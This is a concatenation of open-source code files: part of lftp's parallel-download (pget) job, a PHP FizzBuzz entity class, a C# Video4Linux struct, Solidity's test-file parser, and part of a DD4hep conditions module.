if(size==NO_SIZE || (c->put && c->put->GetLocal()==0))
{
Log::global->Write(0,_("pget: falling back to plain get"));
Log::global->Write(0," (");
if(c->put && c->put->GetLocal()==0)
{
Log::global->Write(0,_("the target file is remote"));
if(size==NO_SIZE)
Log::global->Write(0,", ");
}
if(size==NO_SIZE)
Log::global->Write(0,_("the source file size is unknown"));
Log::global->Write(0,")\n");
no_parallel=true;
return m;
}
// Make sure the destination file is open before starting chunks,
// it disables temp-name creation in the chunk's Init.
if(c->put->GetLocal()->getfd()==-1)
return m;
c->put->NeedSeek(); // seek before writing
if(pget_cont)
LoadStatus();
else if(status_file)
remove(status_file);
if(!chunks)
InitChunks(offset,size);
m=MOVED;
if(!chunks)
{
no_parallel=true;
return m;
}
if(!pget_cont)
{
SaveStatus();
status_timer.Reset();
}
}
/* cycle through the chunks */
chunks_done=true;
total_xferred=MIN(offset,limit0);
off_t got_already=c->GetSize()-limit0;
total_xfer_rate=c->GetRate();
off_t rem=limit0-c->GetPos();
if(rem<=0)
total_eta=0;
else
total_eta=c->GetETA(rem);
for(int i=0; i<chunks.count(); i++)
{
if(chunks[i]->Error())
{
Log::global->Format(0,"pget: chunk[%d] error: %s\n",i,chunks[i]->ErrorText());
no_parallel=true;
break;
}
if(!chunks[i]->Done())
{
if(chunks[i]->GetPos()>=chunks[i]->start)
total_xferred+=MIN(chunks[i]->GetPos(),chunks[i]->limit)
-chunks[i]->start;
if(total_eta>=0)
{
long eta=chunks[i]->GetETA();
if(eta<0)
total_eta=-1;
else if(eta>total_eta)
total_eta=eta; // total eta is the maximum.
}
total_xfer_rate+=chunks[i]->GetRate();
chunks_done=false;
}
else // done
{
total_xferred+=chunks[i]->limit-chunks[i]->start;
}
got_already-=chunks[i]->limit-chunks[i]->start;
}
total_xferred+=got_already;
if(no_parallel)
{
free_chunks();
return MOVED;
}
return m;
}
// xgettext:c-format
static const char pget_status_format[]=N_("`%s', got %lld of %lld (%d%%) %s%s");
#define PGET_STATUS _(pget_status_format),name, \
(long long)total_xferred,(long long)size, \
percent(total_xferred,size),Speedometer::GetStrS(total_xfer_rate), \
c->GetETAStrSFromTime(total_eta)
void pgetJob::ShowRunStatus(const SMTaskRef<StatusLine>& s)
{
if(Done() || no_parallel || max_chunks<2 || !chunks)
{
super::ShowRunStatus(s);
return;
}
const char *name=SqueezeName(s->GetWidthDelayed()-58);
off_t size=GetSize();
StringSet status;
status.AppendFormat(PGET_STATUS);
int w=s->GetWidthDelayed();
char *bar=string_alloca(w--);
memset(bar,'+',w);
bar[w]=0;
int i;
int p=c->GetPos()*w/size;
for(i=start0*w/size; i<p; i++)
bar[i]='o';
p=limit0*w/size;
for( ; i<p; i++)
bar[i]='.';
for(int chunk=0; chunk<chunks.count(); chunk++)
{
p=(chunks[chunk]->Done()?chunks[chunk]->limit:chunks[chunk]->GetPos())*w/size;
for(i=chunks[chunk]->start*w/size; i<p; i++)
bar[i]='o';
p=chunks[chunk]->limit*w/size;
for( ; i<p; i++)
bar[i]='.';
}
status.Append(bar);
s->Show(status);
}
// list subjobs (chunk xfers) only when verbose
xstring& pgetJob::FormatJobs(xstring& s,int verbose,int indent)
{
indent--;
if(!chunks)
return Job::FormatJobs(s,verbose,indent);
if(verbose>1)
{
if(c->GetPos()<limit0)
{
s.appendf("%*s\\chunk %lld-%lld\n",indent,"",(long long)start0,(long long)limit0);
c->SetRangeLimit(limit0); // to see right ETA.
CopyJob::FormatStatus(s,verbose,"\t");
c->SetRangeLimit(FILE_END);
}
Job::FormatJobs(s,verbose,indent);
}
return s;
}
xstring& pgetJob::FormatStatus(xstring& s,int verbose,const char *prefix)
{
if(Done() || no_parallel || max_chunks<2 || !chunks)
return super::FormatStatus(s,verbose,prefix);
s.append(prefix);
const char *name=GetDispName();
off_t size=GetSize();
s.appendf(PGET_STATUS);
return s.append('\n');
}
void pgetJob::free_chunks()
{
if(chunks)
{
for(int i=0; i<chunks.count(); i++)
chunks_bytes+=chunks[i]->GetBytesCount();
chunks.unset();
}
}
pgetJob::pgetJob(FileCopy *c1,const char *n,int m)
: CopyJob(c1,n,"pget")
{
chunks_bytes=0;
start0=limit0=0;
total_xferred=0;
total_xfer_rate=0;
no_parallel=false;
chunks_done=false;
pget_cont=c->SetContinue(false);
max_chunks=m?m:ResMgr::Query("pget:default-n",0);
total_eta=-1;
status_timer.SetResource("pget:save-status",0);
const Ref<FDStream>& local=c->put->GetLocal();
if(local && local->full_name)
{
status_file.vset(local->full_name.get(),".lftp-pget-status",NULL);
if(pget_cont)
LoadStatus0();
}
}
void pgetJob::PrepareToDie()
{
free_chunks();
super::PrepareToDie();
}
pgetJob::~pgetJob()
{
}
pgetJob::ChunkXfer *pgetJob::NewChunk(const char *remote,off_t start,off_t limit)
{
const Ref<FDStream>& local=c->put->GetLocal();
FileCopyPeerFDStream
*dst_peer=new FileCopyPeerFDStream(local,FileCopyPeer::PUT);
dst_peer->NeedSeek(); // seek before writing
dst_peer->SetBase(0);
FileCopy *c1=FileCopy::New(c->get->Clone(),dst_peer,false);
c1->SetRange(start,limit);
c1->SetSize(GetSize());
c1->DontCopyDate();
c1->DontVerify();
c1->FailIfCannotSeek();
ChunkXfer *chunk=new ChunkXfer(c1,remote,start,limit);
chunk->cmdline.setf("\\chunk %lld-%lld",(long long)start,(long long)(limit-1));
return chunk;
}
pgetJob::ChunkXfer::ChunkXfer(FileCopy *c1,const char *name,
off_t s,off_t lim)
: CopyJob(c1,name,"pget-chunk")
{
start=s;
limit=lim;
}
void pgetJob::SaveStatus()
{
if(!status_file)
return;
FILE *f=fopen(status_file,"w");
if(!f)
return;
off_t size=GetSize();
fprintf(f,"size=%lld\n",(long long)size);
int i=0;
fprintf(f,"%d.pos=%lld\n",i,(long long)GetPos());
if(!chunks)
goto out_close;
fprintf(f,"%d.limit=%lld\n",i,(long long)limit0);
for(int chunk=0; chunk<chunks.count(); chunk++)
{
if(chunks[chunk]->Done())
continue;
i++;
fprintf(f,"%d.pos=%lld\n",i,(long long)chunks[chunk]->GetPos());
fprintf(f,"%d.limit=%lld\n",i,(long long)chunks[chunk]->limit);
}
out_close:
fclose(f);
}
void pgetJob::LoadStatus0()
{
if(!status_file)
return;
FILE *f=fopen(status_file,"r");
if(!f) {
int saved_errno=errno;
// Probably the file is already complete
// or it was previously downloaded by plain get.
struct stat st;
if(stat(c->put->GetLocal()->full_name,&st)==-1)
return;
Log::global->Format(0,"pget: %s: cannot open (%s), resuming at the file end\n",
status_file.get(),strerror(saved_errno));
c->SetRange(st.st_size,FILE_END);
return;
}
long long size;
if(fscanf(f,"size=%lld\n",&size)<1)
goto out_close;
long long pos;
int j;
if(fscanf(f,"%d.pos=%lld\n",&j,&pos)<2 || j!=0)
goto out_close;
Log::global->Format(10,"pget: got chunk[%d] pos=%lld\n",j,pos);
c->SetRange(pos,FILE_END);
out_close:
fclose(f);
}
void pgetJob::LoadStatus()
{
if(!status_file)
return;
FILE *f=fopen(status_file,"r");
if(!f)
return;
struct stat st;
if(fstat(fileno(f),&st)<0)
{
out_close:
fclose(f);
return;
}
long long size;
if(fscanf(f,"size=%lld\n",&size)<1)
goto out_close;
int i=0;
int max_chunks=st.st_size/20; // highest estimate - min 20 bytes per chunk in status file.
long long *pos=(long long *)alloca(2*max_chunks*sizeof(*pos));
long long *limit=pos+max_chunks;
for(;;)
{
int j;
if(fscanf(f,"%d.pos=%lld\n",&j,pos+i)<2 || j!=i)
break;
if(fscanf(f,"%d.limit=%lld\n",&j,limit+i)<2 || j!=i)
goto out_close;
if(i>0 && pos[i]>=limit[i])
continue;
Log::global->Format(10,"pget: got chunk[%d] pos=%lld\n",j,pos[i]);
Log::global->Format(10,"pget: got chunk[%d] limit=%lld\n",j,limit[i]);
i++;
}
if(i<1)
goto out_close;
if(size<c->GetSize()) // file grew?
{
if(limit[i-1]==size)
limit[i-1]=c->GetSize();
else
{
pos[i]=size;
limit[i]=c->GetSize();
i++;
}
}
int num_of_chunks=i-1;
start0=pos[0];
limit0=limit[0];
c->SetRange(pos[0],FILE_END);
if(num_of_chunks<1)
goto out_close;
for(i=0; i<num_of_chunks; i++)
{
ChunkXfer *c=NewChunk(GetName(),pos[i+1],limit[i+1]);
c->SetParentFg(this,false);
chunks.append(c);
}
goto out_close;
}
void pgetJob::InitChunks(off_t offset,off_t size)
{
/* initialize chunks */
off_t chunk_size=(size-offset)/max_chunks;
int min_chunk_size=ResMgr::Query("pget:min-chunk-size",0);
if(chunk_size<min_chunk_size)
chunk_size=min_chunk_size;
int num_of_chunks=(size-offset)/chunk_size-1;
if(num_of_chunks<1)
return;
start0=0;
limit0=size-chunk_size*num_of_chunks;
off_t curr_offs=limit0;
for(int i=0; i<num_of_chunks; i++)
{
ChunkXfer *c=NewChunk(GetName(),curr_offs,curr_offs+chunk_size);
c->SetParentFg(this,false);
chunks.append(c);
curr_offs+=chunk_size;
}
assert(curr_offs==size);
}
| gpl-3.0 |
DQNEO/php-FizzBuzzEnterpriseEdition | src/Entity/AbstractEntity.php | 377 | <?php
declare (strict_types=1);
namespace DQNEO\FizzBuzzEnterpriseEdition\Entity;
use DQNEO\FizzBuzzEnterpriseEdition\Value\StringValue;
abstract class AbstractEntity
{
/** @var object */
protected $object;
public function getStringValue(): StringValue
{
$string = (string) $this->object->getValue();
return new StringValue($string);
}
}
| gpl-3.0 |
ttaubert/video4linux-net | library/v4l-net/Analog/Kernel/V4L1/video_capability.cs | 1367 | #region LICENSE
/*
* Copyright (C) 2007 Tim Taubert (twenty-three@users.berlios.de)
*
* This file is part of Video4Linux.Net.
*
* Video4Linux.Net is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* Video4Linux.Net is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#endregion LICENSE
using System;
using System.Runtime.InteropServices;
namespace Video4Linux.Analog.Kernel.V4L1
{
internal struct video_capability
{
[MarshalAs(UnmanagedType.ByValTStr, SizeConst=32)]
public string name;
public int type;
/* Number of channels */
public int channels;
/* Number of audio devices */
public int audios;
/* Maximum supported width */
public int maxwidth;
/* Maximum supported height */
public int maxheight;
/* Minimum supported width */
public int minwidth;
/* Minimum supported height */
public int minheight;
}
}
| gpl-3.0 |
ethereum/solidity | test/libsolidity/util/TestFileParser.cpp | 20375 | /*
This file is part of solidity.
solidity is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
solidity is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with solidity. If not, see <http://www.gnu.org/licenses/>.
*/
// SPDX-License-Identifier: GPL-3.0
#include <test/libsolidity/util/TestFileParser.h>
#include <test/libsolidity/util/BytesUtils.h>
#include <test/libsolidity/util/SoltestErrors.h>
#include <test/Common.h>
#include <liblangutil/Common.h>
#include <boost/algorithm/string.hpp>
#include <boost/algorithm/string/predicate.hpp>
#include <boost/throw_exception.hpp>
#include <fstream>
#include <memory>
#include <optional>
#include <stdexcept>
using namespace solidity;
using namespace solidity::frontend;
using namespace solidity::frontend::test;
using namespace std;
using Token = soltest::Token;
char TestFileParser::Scanner::peek() const noexcept
{
if (std::distance(m_char, m_source.end()) < 2)
return '\0';
auto next = m_char;
std::advance(next, 1);
return *next;
}
vector<solidity::frontend::test::FunctionCall> TestFileParser::parseFunctionCalls(size_t _lineOffset)
{
vector<FunctionCall> calls;
if (!accept(Token::EOS))
{
soltestAssert(m_scanner.currentToken() == Token::Unknown, "");
m_scanner.scanNextToken();
while (!accept(Token::EOS))
{
if (!accept(Token::Whitespace))
{
/// If this is not the first call in the test,
/// the last call to parseParameter could have eaten the
/// new line already. This could only be fixed with a one
/// token lookahead that checks parseParameter
/// if the next token is an identifier.
if (calls.empty())
expect(Token::Newline);
else
if (accept(Token::Newline, true))
m_lineNumber++;
try
{
if (accept(Token::Gas, true))
{
if (calls.empty())
BOOST_THROW_EXCEPTION(TestParserError("Expected function call before gas usage filter."));
string runType = m_scanner.currentLiteral();
if (set<string>{"ir", "irOptimized", "legacy", "legacyOptimized"}.count(runType) > 0)
{
m_scanner.scanNextToken();
expect(Token::Colon);
if (calls.back().expectations.gasUsed.count(runType) > 0)
throw TestParserError("Gas usage expectation set multiple times.");
calls.back().expectations.gasUsed[runType] = u256(parseDecimalNumber());
}
else
BOOST_THROW_EXCEPTION(TestParserError(
"Expected \"ir\", \"irOptimized\", \"legacy\", or \"legacyOptimized\"."
));
}
else
{
FunctionCall call;
if (accept(Token::Library, true))
{
expect(Token::Colon);
string libraryName;
if (accept(Token::String))
{
libraryName = m_scanner.currentLiteral();
expect(Token::String);
expect(Token::Colon);
libraryName += ':' + m_scanner.currentLiteral();
expect(Token::Identifier);
}
else if (accept(Token::Colon, true))
{
libraryName = ':' + m_scanner.currentLiteral();
expect(Token::Identifier);
}
else
{
libraryName = m_scanner.currentLiteral();
expect(Token::Identifier);
}
call.signature = libraryName;
call.kind = FunctionCall::Kind::Library;
call.expectations.failure = false;
}
else
{
bool lowLevelCall = false;
tie(call.signature, lowLevelCall) = parseFunctionSignature();
if (lowLevelCall)
call.kind = FunctionCall::Kind::LowLevel;
else if (isBuiltinFunction(call.signature))
call.kind = FunctionCall::Kind::Builtin;
if (accept(Token::Comma, true))
call.value = parseFunctionCallValue();
if (accept(Token::Colon, true))
call.arguments = parseFunctionCallArguments();
if (accept(Token::Newline, true))
{
call.displayMode = FunctionCall::DisplayMode::MultiLine;
m_lineNumber++;
}
call.arguments.comment = parseComment();
if (accept(Token::Newline, true))
{
call.displayMode = FunctionCall::DisplayMode::MultiLine;
m_lineNumber++;
}
if (accept(Token::Arrow, true))
{
call.omitsArrow = false;
call.expectations = parseFunctionCallExpectations();
if (accept(Token::Newline, true))
m_lineNumber++;
}
else
{
call.expectations.failure = false;
call.displayMode = FunctionCall::DisplayMode::SingleLine;
}
call.expectations.comment = parseComment();
if (call.signature == "constructor()")
call.kind = FunctionCall::Kind::Constructor;
}
accept(Token::Newline, true);
call.expectedSideEffects = parseFunctionCallSideEffects();
calls.emplace_back(move(call));
}
}
catch (TestParserError const& _e)
{
BOOST_THROW_EXCEPTION(
TestParserError("Line " + to_string(_lineOffset + m_lineNumber) + ": " + _e.what())
);
}
}
}
}
return calls;
}
vector<string> TestFileParser::parseFunctionCallSideEffects()
{
vector<string> result;
while (accept(Token::Tilde, false))
{
string effect = m_scanner.currentLiteral();
result.emplace_back(effect);
soltestAssert(m_scanner.currentToken() == Token::Tilde, "");
m_scanner.scanNextToken();
if (m_scanner.currentToken() == Token::Newline)
m_scanner.scanNextToken();
}
return result;
}
bool TestFileParser::accept(Token _token, bool const _expect)
{
if (m_scanner.currentToken() != _token)
return false;
if (_expect)
return expect(_token);
return true;
}
bool TestFileParser::expect(Token _token, bool const _advance)
{
if (m_scanner.currentToken() != _token || m_scanner.currentToken() == Token::Invalid)
BOOST_THROW_EXCEPTION(TestParserError(
"Unexpected " + formatToken(m_scanner.currentToken()) + ": \"" +
m_scanner.currentLiteral() + "\". " +
"Expected \"" + formatToken(_token) + "\"."
)
);
if (_advance)
m_scanner.scanNextToken();
return true;
}
pair<string, bool> TestFileParser::parseFunctionSignature()
{
string signature;
bool hasName = false;
if (accept(Token::Identifier, false))
{
hasName = true;
signature = m_scanner.currentLiteral();
expect(Token::Identifier);
}
if (isBuiltinFunction(signature) && m_scanner.currentToken() != Token::LParen)
return {signature, false};
signature += formatToken(Token::LParen);
expect(Token::LParen);
string parameters;
if (!accept(Token::RParen, false))
parameters = parseIdentifierOrTuple();
while (accept(Token::Comma))
{
parameters += formatToken(Token::Comma);
expect(Token::Comma);
parameters += parseIdentifierOrTuple();
}
if (accept(Token::Arrow, true))
BOOST_THROW_EXCEPTION(TestParserError("Invalid signature detected: " + signature));
if (!hasName && !parameters.empty())
BOOST_THROW_EXCEPTION(TestParserError("Signatures without a name cannot have parameters: " + signature));
else
signature += parameters;
expect(Token::RParen);
signature += formatToken(Token::RParen);
return {signature, !hasName};
}
FunctionValue TestFileParser::parseFunctionCallValue()
{
try
{
u256 value{ parseDecimalNumber() };
Token token = m_scanner.currentToken();
if (token != Token::Ether && token != Token::Wei)
BOOST_THROW_EXCEPTION(TestParserError("Invalid value unit provided. Coins can be wei or ether."));
m_scanner.scanNextToken();
FunctionValueUnit unit = token == Token::Wei ? FunctionValueUnit::Wei : FunctionValueUnit::Ether;
return { (unit == FunctionValueUnit::Wei ? u256(1) : exp256(u256(10), u256(18))) * value, unit };
}
catch (std::exception const&)
{
BOOST_THROW_EXCEPTION(TestParserError("Ether value encoding invalid."));
}
}
FunctionCallArgs TestFileParser::parseFunctionCallArguments()
{
FunctionCallArgs arguments;
auto param = parseParameter();
if (param.abiType.type == ABIType::None)
BOOST_THROW_EXCEPTION(TestParserError("No argument provided."));
arguments.parameters.emplace_back(param);
while (accept(Token::Comma, true))
arguments.parameters.emplace_back(parseParameter());
return arguments;
}
FunctionCallExpectations TestFileParser::parseFunctionCallExpectations()
{
FunctionCallExpectations expectations;
auto param = parseParameter();
if (param.abiType.type == ABIType::None)
{
expectations.failure = false;
return expectations;
}
expectations.result.emplace_back(param);
while (accept(Token::Comma, true))
expectations.result.emplace_back(parseParameter());
/// We have always one virtual parameter in the parameter list.
/// If its type is FAILURE, the expected result is also a REVERT etc.
if (expectations.result.at(0).abiType.type != ABIType::Failure)
expectations.failure = false;
return expectations;
}
Parameter TestFileParser::parseParameter()
{
Parameter parameter;
if (accept(Token::Newline, true))
{
parameter.format.newline = true;
m_lineNumber++;
}
parameter.abiType = ABIType{ABIType::None, ABIType::AlignNone, 0};
bool isSigned = false;
if (accept(Token::Left, true))
{
parameter.rawString += formatToken(Token::Left);
expect(Token::LParen);
parameter.rawString += formatToken(Token::LParen);
parameter.alignment = Parameter::Alignment::Left;
}
if (accept(Token::Right, true))
{
parameter.rawString += formatToken(Token::Right);
expect(Token::LParen);
parameter.rawString += formatToken(Token::LParen);
parameter.alignment = Parameter::Alignment::Right;
}
if (accept(Token::Sub, true))
{
parameter.rawString += formatToken(Token::Sub);
isSigned = true;
}
if (accept(Token::Boolean))
{
if (isSigned)
BOOST_THROW_EXCEPTION(TestParserError("Invalid boolean literal."));
parameter.abiType = ABIType{ABIType::Boolean, ABIType::AlignRight, 32};
string parsed = parseBoolean();
parameter.rawString += parsed;
parameter.rawBytes = BytesUtils::applyAlign(
parameter.alignment,
parameter.abiType,
BytesUtils::convertBoolean(parsed)
);
}
else if (accept(Token::HexNumber))
{
if (isSigned)
BOOST_THROW_EXCEPTION(TestParserError("Invalid hex number literal."));
parameter.abiType = ABIType{ABIType::Hex, ABIType::AlignRight, 32};
string parsed = parseHexNumber();
parameter.rawString += parsed;
parameter.rawBytes = BytesUtils::applyAlign(
parameter.alignment,
parameter.abiType,
BytesUtils::convertHexNumber(parsed)
);
}
else if (accept(Token::Hex, true))
{
if (isSigned)
BOOST_THROW_EXCEPTION(TestParserError("Invalid hex string literal."));
if (parameter.alignment != Parameter::Alignment::None)
BOOST_THROW_EXCEPTION(TestParserError("Hex string literals cannot be aligned or padded."));
string parsed = parseString();
parameter.rawString += "hex\"" + parsed + "\"";
parameter.rawBytes = BytesUtils::convertHexNumber(parsed);
parameter.abiType = ABIType{
ABIType::HexString, ABIType::AlignNone, parameter.rawBytes.size()
};
}
else if (accept(Token::String))
{
if (isSigned)
BOOST_THROW_EXCEPTION(TestParserError("Invalid string literal."));
if (parameter.alignment != Parameter::Alignment::None)
BOOST_THROW_EXCEPTION(TestParserError("String literals cannot be aligned or padded."));
string parsed = parseString();
parameter.abiType = ABIType{ABIType::String, ABIType::AlignLeft, parsed.size()};
parameter.rawString += "\"" + parsed + "\"";
parameter.rawBytes = BytesUtils::applyAlign(
Parameter::Alignment::Left,
parameter.abiType,
BytesUtils::convertString(parsed)
);
}
else if (accept(Token::Number))
{
auto type = isSigned ? ABIType::SignedDec : ABIType::UnsignedDec;
parameter.abiType = ABIType{type, ABIType::AlignRight, 32};
string parsed = parseDecimalNumber();
parameter.rawString += parsed;
if (isSigned)
parsed = "-" + parsed;
if (parsed.find('.') == string::npos)
parameter.rawBytes = BytesUtils::applyAlign(
parameter.alignment,
parameter.abiType,
BytesUtils::convertNumber(parsed)
);
else
{
parameter.abiType.type = isSigned ? ABIType::SignedFixedPoint : ABIType::UnsignedFixedPoint;
parameter.rawBytes = BytesUtils::convertFixedPoint(parsed, parameter.abiType.fractionalDigits);
}
}
else if (accept(Token::Failure, true))
{
if (isSigned)
BOOST_THROW_EXCEPTION(TestParserError("Invalid failure literal."));
parameter.abiType = ABIType{ABIType::Failure, ABIType::AlignRight, 0};
parameter.rawBytes = bytes{};
}
if (parameter.alignment != Parameter::Alignment::None)
{
expect(Token::RParen);
parameter.rawString += formatToken(Token::RParen);
}
return parameter;
}
string TestFileParser::parseIdentifierOrTuple()
{
string identOrTuple;
auto parseArrayDimensions = [&]()
{
while (accept(Token::LBrack))
{
identOrTuple += formatToken(Token::LBrack);
expect(Token::LBrack);
if (accept(Token::Number))
identOrTuple += parseDecimalNumber();
identOrTuple += formatToken(Token::RBrack);
expect(Token::RBrack);
}
};
if (accept(Token::Identifier))
{
identOrTuple = m_scanner.currentLiteral();
expect(Token::Identifier);
parseArrayDimensions();
return identOrTuple;
}
expect(Token::LParen);
identOrTuple += formatToken(Token::LParen);
identOrTuple += parseIdentifierOrTuple();
while (accept(Token::Comma))
{
identOrTuple += formatToken(Token::Comma);
expect(Token::Comma);
identOrTuple += parseIdentifierOrTuple();
}
expect(Token::RParen);
identOrTuple += formatToken(Token::RParen);
parseArrayDimensions();
return identOrTuple;
}
string TestFileParser::parseBoolean()
{
string literal = m_scanner.currentLiteral();
expect(Token::Boolean);
return literal;
}
string TestFileParser::parseComment()
{
string comment = m_scanner.currentLiteral();
if (accept(Token::Comment, true))
return comment;
return string{};
}
string TestFileParser::parseDecimalNumber()
{
string literal = m_scanner.currentLiteral();
expect(Token::Number);
return literal;
}
string TestFileParser::parseHexNumber()
{
string literal = m_scanner.currentLiteral();
expect(Token::HexNumber);
return literal;
}
string TestFileParser::parseString()
{
string literal = m_scanner.currentLiteral();
expect(Token::String);
return literal;
}
void TestFileParser::Scanner::readStream(istream& _stream)
{
std::string line;
// TODO: std::getline(..) removes newlines '\n', if present. This could be improved.
while (std::getline(_stream, line))
m_source += line;
m_char = m_source.begin();
}
void TestFileParser::Scanner::scanNextToken()
{
// Make code coverage happy.
soltestAssert(formatToken(Token::NUM_TOKENS).empty(), "");
auto detectKeyword = [](std::string const& _literal = "") -> std::pair<Token, std::string> {
if (_literal == "true") return {Token::Boolean, "true"};
if (_literal == "false") return {Token::Boolean, "false"};
if (_literal == "ether") return {Token::Ether, ""};
if (_literal == "wei") return {Token::Wei, ""};
if (_literal == "left") return {Token::Left, ""};
if (_literal == "library") return {Token::Library, ""};
if (_literal == "right") return {Token::Right, ""};
if (_literal == "hex") return {Token::Hex, ""};
if (_literal == "FAILURE") return {Token::Failure, ""};
if (_literal == "gas") return {Token::Gas, ""};
return {Token::Identifier, _literal};
};
auto selectToken = [this](Token _token, std::string const& _literal = "") {
advance();
m_currentToken = _token;
m_currentLiteral = _literal;
};
m_currentToken = Token::Unknown;
m_currentLiteral = "";
do
{
switch(current())
{
case '/':
advance();
if (current() == '/')
selectToken(Token::Newline);
else
selectToken(Token::Invalid);
break;
case '-':
if (peek() == '>')
{
advance();
selectToken(Token::Arrow);
}
else
selectToken(Token::Sub);
break;
case '~':
advance();
selectToken(Token::Tilde, readLine());
break;
case ':':
selectToken(Token::Colon);
break;
case '#':
selectToken(Token::Comment, scanComment());
break;
case ',':
selectToken(Token::Comma);
break;
case '(':
selectToken(Token::LParen);
break;
case ')':
selectToken(Token::RParen);
break;
case '[':
selectToken(Token::LBrack);
break;
case ']':
selectToken(Token::RBrack);
break;
case '\"':
selectToken(Token::String, scanString());
break;
default:
if (langutil::isIdentifierStart(current()))
{
std::tie(m_currentToken, m_currentLiteral) = detectKeyword(scanIdentifierOrKeyword());
advance();
}
else if (langutil::isDecimalDigit(current()))
{
if (current() == '0' && peek() == 'x')
{
advance();
advance();
selectToken(Token::HexNumber, "0x" + scanHexNumber());
}
else
selectToken(Token::Number, scanDecimalNumber());
}
else if (langutil::isWhiteSpace(current()))
selectToken(Token::Whitespace);
else if (isEndOfFile())
{
m_currentToken = Token::EOS;
m_currentLiteral = "";
}
else
BOOST_THROW_EXCEPTION(TestParserError("Unexpected character: '" + string{current()} + "'"));
break;
}
}
while (m_currentToken == Token::Whitespace);
}
string TestFileParser::Scanner::readLine()
{
string line;
// Right now the scanner discards all (real) new-lines '\n' in TestFileParser::Scanner::readStream(..).
// Token::NewLine is defined as `//`, and NOT '\n'. We are just searching here for the next `/`.
// Note that `/` anywhere else than at the beginning of a line is currently forbidden (TODO: until we fix newline handling).
// Once the end of the file would be reached (or beyond), peek() will return '\0'.
while (peek() != '\0' && peek() != '/')
{
advance();
line += current();
}
return line;
}
string TestFileParser::Scanner::scanComment()
{
string comment;
advance();
while (current() != '#')
{
comment += current();
advance();
}
return comment;
}
string TestFileParser::Scanner::scanIdentifierOrKeyword()
{
string identifier;
identifier += current();
while (langutil::isIdentifierPart(peek()))
{
advance();
identifier += current();
}
return identifier;
}
string TestFileParser::Scanner::scanDecimalNumber()
{
string number;
number += current();
while (langutil::isDecimalDigit(peek()) || '.' == peek())
{
advance();
number += current();
}
return number;
}
string TestFileParser::Scanner::scanHexNumber()
{
string number;
number += current();
while (langutil::isHexDigit(peek()))
{
advance();
number += current();
}
return number;
}
string TestFileParser::Scanner::scanString()
{
string str;
advance();
while (current() != '\"')
{
if (current() == '\\')
{
advance();
switch (current())
{
case '\\':
str += current();
advance();
break;
case 'n':
str += '\n';
advance();
break;
case 'r':
str += '\r';
advance();
break;
case 't':
str += '\t';
advance();
break;
case '0':
str += '\0';
advance();
break;
case 'x':
str += scanHexPart();
break;
default:
BOOST_THROW_EXCEPTION(TestParserError("Invalid or escape sequence found in string literal."));
}
}
else
{
str += current();
advance();
}
}
return str;
}
// TODO: use fromHex() from CommonData
char TestFileParser::Scanner::scanHexPart()
{
advance(); // skip 'x'
int value{};
if (isdigit(current()))
value = current() - '0';
else if (tolower(current()) >= 'a' && tolower(current()) <= 'f')
value = tolower(current()) - 'a' + 10;
else
BOOST_THROW_EXCEPTION(TestParserError("\\x used with no following hex digits."));
advance();
if (current() == '"')
return static_cast<char>(value);
value <<= 4;
if (isdigit(current()))
value |= current() - '0';
else if (tolower(current()) >= 'a' && tolower(current()) <= 'f')
value |= tolower(current()) - 'a' + 10;
advance();
return static_cast<char>(value);
}
bool TestFileParser::isBuiltinFunction(std::string const& _signature)
{
return m_builtins.count(_signature) > 0;
}
| gpl-3.0 |
vvolkl/DD4hep | DDCore/src/ConditionDerived.cpp | 3379 | // $Id$
//==========================================================================
// AIDA Detector description implementation for LCD
//--------------------------------------------------------------------------
// Copyright (C) Organisation europeenne pour la Recherche nucleaire (CERN)
// All rights reserved.
//
// For the licensing terms see $DD4hepINSTALL/LICENSE.
// For the list of contributors see $DD4hepINSTALL/doc/CREDITS.
//
// Author : M.Frank
//
//==========================================================================
// Framework includes
#include "DD4hep/Printout.h"
#include "DD4hep/InstanceCount.h"
#include "DD4hep/ConditionDerived.h"
// C/C++ include files
using namespace DD4hep;
using namespace DD4hep::Conditions;
/// Standard destructor
ConditionUpdateCall::~ConditionUpdateCall() {
}
/// Standard destructor
ConditionResolver::~ConditionResolver() {
}
/// Default constructor
ConditionDependency::ConditionDependency(const ConditionKey& tar,
const Dependencies deps,
ConditionUpdateCall* call)
: m_refCount(0), target(tar), dependencies(deps), callback(call)
{
InstanceCount::increment(this);
if ( callback ) callback->addRef();
}
/// Initializing constructor
ConditionDependency::ConditionDependency(const ConditionKey& tar,
ConditionUpdateCall* call)
: m_refCount(0), target(tar), callback(call)
{
InstanceCount::increment(this);
if ( callback ) callback->addRef();
}
/// Default constructor
ConditionDependency::ConditionDependency()
: m_refCount(0), target(0), callback(0)
{
InstanceCount::increment(this);
}
/// Copy constructor
ConditionDependency::ConditionDependency(const ConditionDependency& c)
: m_refCount(0), target(c.target), dependencies(c.dependencies), callback(c.callback)
{
InstanceCount::increment(this);
if ( callback ) callback->addRef();
except("Dependency",
"++ Condition: %s. Dependencies may not be assigned or copied!",
target.name.c_str());
}
/// Default destructor
ConditionDependency::~ConditionDependency() {
InstanceCount::decrement(this);
releasePtr(callback);
}
/// Assignment operator
ConditionDependency& ConditionDependency::operator=(const ConditionDependency& ) {
except("Dependency",
"++ Condition: %s. Dependencies may not be assigned or copied!",
target.name.c_str());
return *this;
}
/// Initializing constructor
DependencyBuilder::DependencyBuilder(const ConditionKey& target, ConditionUpdateCall* call)
: m_dependency(new ConditionDependency(target,call))
{
}
/// Default destructor
DependencyBuilder::~DependencyBuilder() {
releasePtr(m_dependency);
}
/// Add a new dependency
void DependencyBuilder::add(const ConditionKey& source) {
if ( m_dependency ) {
m_dependency->dependencies.push_back(source);
return;
}
except("Dependency","++ Invalid object. No further source may be added!");
}
/// Release the created dependency and take ownership.
ConditionDependency* DependencyBuilder::release() {
if ( m_dependency ) {
ConditionDependency* tmp = m_dependency;
m_dependency = 0;
return tmp;
}
except("Dependency","++ Invalid object. Cannot access built objects!");
